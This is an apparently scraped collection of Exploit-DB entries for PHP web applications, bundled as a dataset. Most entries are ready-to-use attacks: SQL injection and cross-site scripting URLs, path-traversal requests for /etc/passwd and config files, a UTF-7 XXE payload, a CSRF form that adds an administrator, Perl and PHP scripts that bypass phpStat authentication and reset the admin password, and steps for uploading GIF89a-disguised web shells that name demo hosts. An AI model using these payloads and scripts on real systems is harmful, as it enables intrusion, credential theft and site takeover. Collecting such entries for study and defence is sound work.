deardaniel/secdata-raw huggingface dataset:
Exploit-DB #26962
Description: PHPSlash 0.8.1 - 'article.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-21
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/16021/info

phpSlash is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

This issue affects phpSlash version 0.8.1; other versions may also be vulnerable. 

http://www.example.com/article.php?story_id=1[SQL]
Exploit-DB #30806
Description: PHPSlideShow 0.9.9 - 'Directory' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-11-26
Author: Jose Luis Gongora Fernandez

Exploit:
source: https://www.securityfocus.com/bid/26575/info

PHPSlideShow is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue allows attackers to execute arbitrary HTML or script code in a user's browser session in the context of an affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

This issue affects PHPSlideShow 0.9.9.2; other versions may also be vulnerable. 

http://www.example.com/scripts/demo/phpslideshow.php?directory="><iframe> http://www.example.com/scripts/demo/phpslideshow.php?directory=<html><font color="Red"><b>Pwned</b></font></html> http://www.example.com/scripts/demo/phpslideshow.php?directory=<EMBED SRC="http://site.com/xss.swf" http://www.example.com/scripts/demo/phpslideshow.php?directory=FORM%20ACTION=%22search.php%22%20METHOD=%22GET%22%3E
Exploit-DB #6452
Description: phpsmartcom 0.2 - Local File Inclusion / SQL Injection
Type: webapps
Platform: php
Date: 2008-09-13
Author: r3dm0v3

Exploit:
 fphpSmartCom v. 0.2 Local File Inclusion , SQL Injection Vuln
 
Download : http://sourceforge.net/projects/phpsmartcom/
 
Local File Inclusion:
http://127.0.0.1/phpsmartcom/index.php?p=../../../../../boot.ini%00
 
SQL Injection:
http://localhost/phpsmartcom/index.php?p=viewprofile&uid=1'+union+select+1,uname,3,upwd,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from+psc_users+where+uid=1+limit+1,1/*
 
Credits : Neo , R3dm0v3

# milw0rm.com [2008-09-13]
Exploit-DB #39086
Description: PhpSocial 2.0.0304_20222226 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2015-12-23
Author: Curesec Research Team

Exploit:
Security Advisory - Curesec Research Team

1. Introduction

Affected Product:    PhpSocial v2.0.0304_20222226
Fixed in:            not fixed
Fixed Version Link:  n/a
Vendor Webite:       http://phpsocial.net
Vulnerability Type:  CSRF
Remote Exploitable:  Yes
Reported to vendor:  11/21/2015
Disclosed to public: 12/21/2015
Release mode:        Full Disclosure
CVE:                 n/a
Credits              Tim Coen of Curesec GmbH

2. Overview

CVSS

Medium 5.1 AV:N/AC:H/Au:N/C:P/I:P/A:P

Description

PhpSocial is a social networking software written in PHP. In version v2.0.0304,
it does not have CSRF protection, which means that an attacker can perform
actions for a victim, if the victim visits an attacker controlled site while
logged in.

3. Proof of Concept

Add a new admin:


<html>
  <body>
    <form action="http://localhost/PhpSocial_v2.0.0304_20222226/cms_phpsocial/admin/AdminAddViewadmins.php" method="POST">
      <input type="hidden" name="admin_username" value="admin2" />
      <input type="hidden" name="admin_password" value="admin" />
      <input type="hidden" name="admin_password_confirm" value="admin" />
      <input type="hidden" name="admin_name" value="admin2" />
      <input type="hidden" name="admin_email" value="admin2@example.com" />
      <input type="hidden" name="task" value="addadmin" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

4. Solution

This issue was not fixed by the vendor.

5. Report Timeline

11/21/ Contacted Vendor (no reply)
2015
12/10/ Tried to remind vendor (no email is given, security@phpsocial.net does
2015   not exist, and contact form could not be used because the website is
       down)
12/21/ Disclosed to public
2015


Blog Reference:
https://blog.curesec.com/article/blog/PhpSocial-v200304-CSRF-133.html
 
--
blog:  https://blog.curesec.com
tweet: https://twitter.com/curesec

Curesec GmbH
Curesec Research Team
Romain-Rolland-Str 14-24
13089 Berlin, Germany
Exploit-DB #35198
Description: phpSound Music Sharing Platform 1.0.5 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2014-11-10
Author: Halil Dalabasmaz

Exploit:
# Exploit Title: phpSound Music Sharing Platform Multiple XSS Vulnerabilities
# Date: 08-10-2014
# Exploit Author: Halil Dalabasmaz
# Version: v1.0.5
# Vendor Link: http://codecanyon.net/item/phpsound-music-sharing-platform/9016117
# Software Test Link: http://phpsound.com/demo

# Vulnerabilities Description:

===Stored XSS===
Create a Playlist and then you can run any XSS payload on "Title" or "Description" input fields.

Sample Payload for Stored XSS: "><script>alert(document.cookie);</script>

Solution
Filter the input fields aganist to XSS attacks.

===

===Reflected XSS===

The URL parameter is "filter" not filtered. 

http://server/path/index.php?a=explore&filter=XSS

Sample Payload for XSS: </title><script>alert(document.cookie);</script>

Solution
Filter the parameter aganist to XSS attacks.
===
Exploit-DB #5328
Description: PHPSpamManager 0.53b - 'body.php' Remote File Disclosure
Type: webapps
Platform: php
Date: 2008-03-31
Author: GoLd_M

Exploit:
phpSpamManager 0.53 beta (body.php) Remote File Disclosure Vulnerability
D.Script : http://sourceforge.net/project/showfiles.php?group_id=141000
Vuln Code 
Ln 38 -> 47 : 
//get filename
     $okprint=false;
     $filename = $_REQUEST['filename']; <--- XxX
     if ($filename!='FILENAME')
     {
      debug_print("analysing " .$filename);
      //replace # by dots if necessary
      $filename = preg_replace("/#/",".",$filename);
$mailtext=file_get_contents($filename); <--- XxX
	 $email=new parseMail($mailtext); <--- XxX
POC :
/phpspammanager.0.53.dev/body.php?filename=include/config.inc.php
/phpspammanager.0.53.dev/body.php?filename=../../../../../../../../etc/passwd
                     I'm Mahmood_ali --- I'm Tryagi

# milw0rm.com [2008-03-31]
Exploit-DB #46050
Description: PhpSpreadsheet < 1.5.0 - XML External Entity (XXE)
Type: webapps
Platform: php
Date: 2018-11-30
Author: Alex Leahu

Exploit:
# Product Description
PhpSpreadsheet is a library written in pure PHP that provides a set of classes allowing users to read from and write to different spreadsheet file formats, such as Excel and LibreOffice Calc.

# Vulnerabilities List
One vulnerability was identified within the PhpSpreadsheet library. 

# Affected Version
Versions <=1.5.0

# Solution
Identify when the thread-safe libxmlDisableEntityLoader() function is available and disable the ability to load external entities when it is present. In addition, convert XML encoding to UTF-8 prior to performing a security scan.

This vulnerability is described in the following section.

# XML External Entity (XXE) Injection 
The PhpSpreadsheet library is affected by XXE injection. This vulnerability could be leveraged to read files from a server that hosts an application using this library. An attacker who exploited this vulnerability could extract secrets, passwords, source code, and other sensitive data stored on the filesystem.

# Vulnerability Details
CVE ID: CVE-2018-19277

Access Vector: Network 

Security Risk: High

Vulnerability: CWE-611

CVSS Base Score: 7.7

CVSS vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

The PhpSpreadsheet library implements a security check that halts XML processing if an external entity is detected. An attacker could bypass the check by encoding the XML data as UTF-7 with the following payload:


```
<?xml version="1.0" encoding="UTF-7"?>

<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://127.0.0.1:8080/ext.dtd">%aaa;%ccc;%ddd;]>
```

The payload above can then be stored as a sheet in a .XLSX document. The attacker can then unzip the .XLSX document and replace the contents of the file xl/worksheets/sheet1.xml with the UTF-7 encoded payload. The document containing the new sheet can then be rezipped.

When the PhpSpreadsheet library processes the newly created .XLSX document, the library makes a request to the URL http://127.0.0.1:8080/ext.dtd. A successful HTTP request means that the external entity was successfully processed.
Exploit-DB #31823
Description: phpSQLiteCMS 1 RC2 - '/cms/includes/header.inc.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-05-22
Author: CWH Underground

Exploit:
source: https://www.securityfocus.com/bid/29338/info

phpSQLiteCMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

phpSQLiteCMS 1 RC2 is vulnerable; other versions may also be affected. 

http://www.example.com/[phpsqlitecms_path]/cms/includes/header.inc.php?lang[home]=<XSS>
http://www.example.com/[phpsqlitecms_path]/cms/includes/header.inc.php?lang[admin_menu]=<XSS>
http://www.example.com/[phpsqlitecms_path]/cms/includes/header.inc.php?lang[admin_menu_page_overview]=<XSS>
Exploit-DB #31824
Description: phpSQLiteCMS 1 RC2 - '/cms/includes/login.inc.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-05-22
Author: CWH Underground

Exploit:
source: https://www.securityfocus.com/bid/29338/info
 
phpSQLiteCMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
phpSQLiteCMS 1 RC2 is vulnerable; other versions may also be affected. 

http://www.example.com/[phpsqlitecms_path]/cms/includes/login.inc.php?lang[login_username]=<XSS>
http://www.example.com/[phpsqlitecms_path]/cms/includes/login.inc.php?lang[login_password]=<XSS>
Exploit-DB #1016
Description: phpStat 1.5 - 'setup.php' Authentication Bypass
Type: webapps
Platform: php
Date: 2005-05-30
Author: Alpha_Programmer

Exploit:
#!/usr/bin/perl
#####################################################################
#T r a p - S e t   U n d e r g r o u n d   H a c k i n g   T e a m
#####################################################################
# EXPLOIT FOR - PHPStat Setup.PHP Authentication Bypass Vulnerability
#
#Exploit By :  A l p h a _ P r o g r a m m e r ( Sirus-v )
#E-Mail : Alpha_Programmer@Yahoo.com
#
#This Xpl Change Admin's Pass in This Portal !!
#Discovered by: SoulBlack
#
#Vulnerable Version : phpStat 1.5
#
#####################################################################
# Gr33tz To ==>   mh_p0rtal , Oil_karchack , Str0ke  &  AlphaST.Com
#
# So Iranian Hacking & Security Teams :
#
# Crouz , Shabgard , Simorgh-ev ,IHS , Emperor & GrayHatz.NeT
#####################################################################


use IO::Socket;

if (@ARGV < 3)
{
 print "\n==========================================\n";
 print " \n     -- Exploit By Alpha Programmer --\n\n";
 print "     Trap-Set UnderGrounD Hacking Team      \n\n";
 print "         Usage: <T4rg3t> <DIR> <Password>\n\n";
 print "==========================================\n\n";
 print "Examples:\n\n";
 print "    phpStat.pl www.Site.com /phpstat/ 12345\n";
 exit();
}

my $host = $ARGV[0];
my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
PeerPort => "80" );

unless ($remote) { die "C4nn0t C0nn3ct to $host" }

print "C0nn3cted\n";

$http = "GET $ARGV[1]setup.php?check=yes&username=admin&password=$ARGV[2] HTTP/1.0\n";
$http .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)\n";
$http .= "Host: $host\n\n\n\n";

print "[+]Sending H3ll Packet ...\n";
print $remote $http;
sleep(1);
print "[+]Wait For Authentication Bypass ...\n";
sleep(100);
while (<$remote>)
{
}
print "[+]OK ! Now Goto $host$ARGV[1]setup.php And L0gin Whith:\n\n";
print "[+]User: admin\n";
print "[+]Pass: $ARGV[2]";

# milw0rm.com [2005-05-30]
Exploit-DB #1017
Description: phpStat 1.5 - 'setup.php' Authentication Bypass (PHP) (1)
Type: webapps
Platform: php
Date: 2005-05-30
Author: mh_p0rtal

Exploit:
<?php
error_reporting(E_PARSE);
/*
================================================================
PHP Stat Administrative User Authentication Bypass POC Exploit
================================================================
====Trap-Set Underground Hacking Team===========mh_p0rtal============

Greetz to : Alpha_programmer , Oil_karchack , Str0ke   And Iranian Hacking & Security Teams :
Alphast , IHS Team , Shabgard Security Team , Emperor Hacking TEam
, CrouZ Security Team , Simorgh-ev Security Team ,

====================^^^^^^^^^^^^^^^^^^^-=========================
*/
# Config ________________________________
# address - example: http://www.site.com/setup.php Or www.site.com /dir/setup.php

$url = "http://www.site.com/setup.php";

# EnD ___________________________________

print "<form action=\"$url?check=yes&username=$username&[CREDENTIAL_REDACTED]\" >";
print "<input type=\"hidden\" name=\"check\"  value=\"yes\">";
print "Username : <input type=\"text\" name=\"username\"  value=\"admin\" size=\"25\"><br>";
print "Password : <input type=\"text\" name=\"password\"  value=\"abc123\" size=\"25\"><br>";
print ("<input type=submit value=::Change. > \n");
print "</form>";

//------------------------------------------------------End.
?>

# milw0rm.com [2005-05-30]
Exploit-DB #1018
Description: phpStat 1.5 - 'setup.php' Authentication Bypass (PHP) (2)
Type: webapps
Platform: php
Date: 2005-05-30
Author: Nikyt0x

Exploit:
<?

/*

**************************************************************
PHP Stat Administrative User Authentication Bypass POC Exploit
     Code by Nikyt0x - Soulblack Security Research
**************************************************************

Advisory: 
 http://www.soulblack.com.ar/repo/papers/phpstat_advisory.txt

Saludos:                                        
   Soulblack Staff, Status-x, NeosecurityTeam,
   KingMetal, SWP, Trespasser...

nikyt0x@gmail.com
http://www.nikyt0x.tk

**************************************************************
**This Exploit Change Admin Username and Password
**Username: admin
**Password: admin
**************************************************************


php sbphpstatpoc.php www.spazfarm.com /spazstats/setup.php

          ==============================================================
          PHP Stat Administrative User Authentication Bypass POC Exploit
          ==============================================================
                     by Nikyt0x - Soulblack Security Research

     [+] Testing: www.spazfarm.com
     [+] Socket
     [+] Sending Exploit
     [+] OK

     Open www.spazfarm.com/spazstats/setup.php

     Username: admin
     [CREDENTIAL_REDACTED]

**************************************************************
*/

// username and password

$username = "admin";
$[CREDENTIAL_REDACTED]";

function sh0w()
{
echo "\n          ==============================================================\n";
echo "          PHP Stat Administrative User Authentication Bypass POC Exploit\n";
echo "          ==============================================================\n";
echo "                     by Nikyt0x - Soulblack Security Research\n\n";
}

if ($argc != 3)
{
sh0w();
echo "\n\n          Usage:\n                   sbphpstatpoc.php www.site.com /dir/to/setup.php\n";
exit();
}


if(!ereg('setup.php',$argv[2])) {
   echo "URL to setup.php Incorrect.\n";
   exit(0);
}

sh0w();

echo "     [+] Testing: $argv[1]\n";

$s0ck3t = fsockopen($argv[1], 80);

if (!$s0ck3t) {
   echo "     [-] Socket\n";
   exit(0);
} else {

    $petici0n  = "GET $argv[2]?check=yes&username=$username&[CREDENTIAL_REDACTED] HTTP/1.1\r\n";
    $petici0n .= "Host: $argv[1]\r\n";
    $petici0n .= "Connection: Close\r\n\r\n";
   
   echo "     [+] Socket\n";

if(!fwrite($s0ck3t, $petici0n))
   {
   echo "     [-] Sending Exploit\n";
   exit(0);
   }
echo "     [+] Sending Exploit\n";

 while (!feof($s0ck3t)) {
       $g3tdata = fgets($s0ck3t, 1024);
	   if (eregi('Setup has been updated',$g3tdata))
	   {
	   echo "     [+] OK\n\n";
           echo "     Open $argv[1]$argv[2]\n\n     Username: $username\n     [CREDENTIAL_REDACTED]\n";
           exit();
           }

}
fclose($s0ck3t);
}

?>

# milw0rm.com [2005-05-30]
Exploit-DB #31414
Description: phpStats 0.1_alpha - 'phpStats.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-03-18
Author: Hanno Boeck

Exploit:
source: https://www.securityfocus.com/bid/28291/info

The 'phpstats' program is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects phpstats 0.1_alpha.

http://www.example.com/phpstats/phpstats.php?baseDir=<script>alert(1)</script>&mode=run
Exploit-DB #7082
Description: PHPStore Car Dealers - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-11-10
Author: ZoRLu

Exploit:
PHP Store Auto Classifieds Remote File Upload

Author: ZoRLu  msn: trt-turk@hotmail.com

home: www.z0rlu.blogspot.com

N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (

-----------------------------------------


exploit:


first register to site 

you add this code your shell to head 

GIF89a; 

example your_shell.php:

GIF89a;
<?

...

...

...

?>

and save your_sheell.php

login to site and edit your profile

upload your_shell.php 

your_shell.php path:

localhost/script/cars_images/[ID]_logo_your_shell.php

---------------------------------------------

example for demo:

login: http://www.phpstore.info/demos/cars/login.php

user: zorlu

[CREDENTIAL_REDACTED]

shell:

http://www.phpstore.info/demos/cars/cars_images/[PII_REDACTED]_logo_c.php


------------------------------------------------

thanks: str0ke & yildirimordulari.org  &  darkc0de.com

# milw0rm.com [2008-11-10]
Exploit-DB #7084
Description: PHPStore Complete Classifieds Script - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-11-10
Author: ZoRLu

Exploit:
PHPStore Complete Customizable Classifieds Remote File Upload

Author: ZoRLu  msn: trt-turk@hotmail.com

home: www.z0rlu.blogspot.com

N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (

-----------------------------------------


exploit:


first register to site 

you add this code your shell to head 

GIF89a; 

example your_shell.php:

GIF89a;
<?

...

...

...

?>

and save your_sheell.php

login to site and Add Listing click open the new page upload logo (upload your_shell.php)

your_shell.php path:

localhost/script/yellow_images/[ID]_logo_your_shell.php

---------------------------------------------

example for demo:

login: http://www.phpstore.info/demos/cars/login.php

user: zorlu

[CREDENTIAL_REDACTED]

shell: ( not permission for demo server )

http://www.phpstore.info/demos/classifieds1/yellow_images/[PII_REDACTED]_logo_c.php 


http://www.phpstore.info/demos/classifieds1/yellow_images/ ( you look here and see shell[PII_REDACTED]_logo_c.php )

------------------------------------------------

thanks: str0ke & yildirimordulari.org  &  darkc0de.com

# milw0rm.com [2008-11-10]
Exploit-DB #7083
Description: PHPStore PHP Job Search Script - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-11-10
Author: ZoRLu

Exploit:
PHPStore Job Search Remote File Upload

Author: ZoRLu  msn: trt-turk@hotmail.com

home: www.z0rlu.blogspot.com

N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (

-----------------------------------------


exploit:


you add this code your shell to head 

GIF89a; 

example your_shell.php:

GIF89a;
<?

...

...

...

?>

and save your_sheell.php

you register site and this site questions your photo. you upload your_shell.php

you clikc to view resume and open new page ( direckt link: http://localhost/script/preview.php )

you must see your photo 

and right click to your photo select to properites 

after copy photo link and paste your explorer go your shell

your_shell.php

http://localhost/script/jobseekers/jobseeker_profile_images/[id]_offer_your_shel.php


---------------------------------------------

example for demo:

shell: ( not permission for demo server )

http://www.phpstore.info/demos/phpcareers/jobseekers/jobseeker_profile_images/[PII_REDACTED]_offer_c.php


http://www.phpstore.info/demos/phpcareers/jobseekers/jobseeker_profile_images/ ( you look here and see shell[PII_REDACTED]_offer_c.php )

------------------------------------------------

thanks: str0ke & yildirimordulari.org  &  darkc0de.com

# milw0rm.com [2008-11-10]
Exploit-DB #7085
Description: PHPStore Real Estate - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-11-10
Author: ZoRLu

Exploit:
PHP Store Real Estate Remote File Upload

Author: ZoRLu  msn: trt-turk@hotmail.com

home: www.z0rlu.blogspot.com

N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (

-----------------------------------------


exploit:


first register to site 

you add this code your shell to head 

GIF89a; 

example your_shell.php:

GIF89a;
<?

...

...

...

?>

and save your_sheell.php

login to site and edit your profile

upload your_shell.php 

your_shell.php path:

localhost/script/re_images/[ID]_logo_your_shell.php

---------------------------------------------

user: zorlu

[CREDENTIAL_REDACTED]

shell: ( not permission for demo server )

http://www.phpstore.info/demos/realty/re_images/[PII_REDACTED]_logo_c.php


http://www.phpstore.info/demos/realty/re_images/ ( you look here and see shell[PII_REDACTED]_logo_c.php )

------------------------------------------------

thanks: str0ke & yildirimordulari.org  &  darkc0de.com

# milw0rm.com [2008-11-10]